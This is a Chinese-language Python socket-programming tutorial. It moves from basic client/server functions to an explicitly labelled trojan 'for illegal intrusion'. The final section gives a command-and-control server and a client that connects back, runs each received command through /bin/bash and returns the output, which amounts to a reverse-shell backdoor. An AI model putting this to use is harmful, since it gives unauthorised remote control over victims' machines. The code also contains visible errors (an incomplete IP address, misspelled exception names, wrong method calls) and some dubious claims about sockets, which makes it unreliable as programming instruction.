Python网络编程
C/S架构:
C:client。S:server客户端和服务端结构。关键词:对点、响应。
C/S网络编程思路:Server端进行设置,首先创建一个通信节点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client相对简单,只需要创建一个通信结点,建立到服务器的连接,就可以提出请求了
套接字-通信端点
套接字是具有通信端点概念的计算机网络数据结构。网络化的应用程序在任何通讯之前都必须创建套接字。
在任何一门网络编程语言中,Socekt都是必学的一门语言,他十分底层,效率不高,开发环境中不建议使用,一般是使用shell。但是通过学习Socekt,我们可以制作一些木马,来实现非法入侵,也可以实现简单的聊天。
Socket的本意是插座,在这里指网络编程的接口,也是应用层和传输层之间的桥梁。
Python下的套接字家族:AF_UNIX,AF_INET,AF_NETLINK,其中AF_INET是基于网络的套接字
代码实操
socket模块的socket()函数用来创建套接字
使用socket.socket()函数来创建套接字,参考函数如下:
socket(socket family,socket_type,protocol=0) #创建一个TCP/IP套接字: tcpsock=socket(socket.AF_INET,socket,SOCK_STREAM)
服务器端套接字函数
函数 | 作用 |
---|---|
s.bind() | 绑定地址(主机、端口)到套接字 |
s.listen() | 开始TCP监听 |
s.accept() | 被动接收TCP客户端连接,阻塞式等待连接的到来 |
客户端套接字函数
函数 | 作用 |
---|---|
s.connect() | 主动初始化TCP服务器连接 |
s.connect_ex() | Connect函数的扩展版本,出错时返回错误代码,而不是抛出异常 |
公共用途的套接字函数
函数 | 作用 |
---|---|
s.recv() | 接受TCP数据 |
s.send() | 发送TCP数据 |
s.sendall() | 完整发送TCP数据 |
s.recvfrom() | 接受UDP数据 |
s.sendto() | 发送UDP数据 |
s.getpeemame() | 连接到当前套接字的远端地址 |
s.getsockname() | 当前套接字的地址 |
s.getsockopt() | 返回指定套接字的参数 |
s.setsockopt() | 设置指定套接字的参数 |
s.close() | 关闭套接字 |
以上是套接字的基本函数,通过函数,我们可以看到服务端和客户端的一些逻辑,而代码是通过逻辑来编写的:
根据以上的逻辑信息,我们可以编写出最简单的服务端函数,并可以在此基础上,演化为面向对象,以及改装成木马病毒。
#coding=utf-8 import socket server=socket.socket() HOST='127.0.0.1' PORT= 4445 ADDR=(HOST,PORT) server.bind(ADDR) server.listen() client,raddr=server.accept() server.close()
以上就是服务端socket通信的基本流程,有几个具体的细节需要解释下
①:一般来说我们在编写python代码中,第一行会添加编码格式,但是在socket里通过format的编码和解码,提前声明utf-8,会在程序运行中,发生不必要的错误
②:socket.bind()函数接收的是元组,所以我们也可以把绑定函数的那几行代码简化为
server.bind(('127.0.0.1',4445))
在不编写socket客户端的情况下,我们可以通过socket调试器,与服务器进行连接或者交互信息:
以上最简单的服务端函数,其实是面向过程的思想,只能是一对一的。而实际环境中,无论是交流,还是进行远程程序操控,都是一对多的,所以换一种面向对象的思想,可能会更好,这个时候一方面我们需要使用多线程、也要使用类的方法,并且我希望把交流的信息即时返回到控制台上,所以还要引用一个logging库。
通过以上函数,我们可以简单的实现服务端一对多的信
息交互的socket程序,但是它仍然有很多缺陷,对于以上代码的优化在末尾进行更新和讲解,以上代码的亮点是使用面向对象,并且定义函数,避免了死循环以及多重循环。通过对服务端的理解,我们可以在此基础上常识编写基础的木马:
木马的基本理念是反弹shell,和sock,我们可以通过subprocess中的PIPE来执行
首先看服务端代码:
import socket import time from time import ctime import logging import threading from subprocess import Popen,PIPE HOST='192.168.' PORT=4445 BUFFSIZE=1024 class Server: def __init__(self): self.ADDR=(HOST,PORT) self.server=socket.socket() self.clients={} def start(self): self.server.bind(self.ADDR) self.server.listen() threading.Thread(target=self.accept,name='accept').start() def accept(self): while True: client,raddr=self.server.accept() self.clients[raddr]=client address='Accept from {}'.format(client.getpeername()) print(address) threading.Thread(target=self.recv,name='recv',args=(client,raddr)).start() def recv(self,sock,addr): while True: try: data=sock.recv(BUFFSIZE) logging.info(BUFFSIZE) except Exeption as e: data =b'quit' if data==b'quit': self.clients.pop(sock.getpeername()) sock.close() Time=ctime() data=input("cmd") msg=" {}ack:{}".format(Time,data.decode()).encode() sock.send(msg) def stop(self): for i in self.clients.value(): i.close() self.sock.close() s=Server() s.start()
其次看客户端代码:
import socket from subprocess import Popen,PIPE HOST='127.0.0.1' PORT=4445 BUFSIZE=1024 ADDR=(HOST,PORT) tcpClient=socket.socket() tcpClient.connect(ADDR) tip='connection successful'.encode() tcpClient.send(tip) data="Adderss: {} is connected".format(tcpClient.getsockname()) while True: if data=='quit': exit() tcpClient.send(data) data=tcpClient.recv(BUFSIZE) if not data: break cmd=Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE) fil=cmd.stdout.read() tcpClient.send(fil)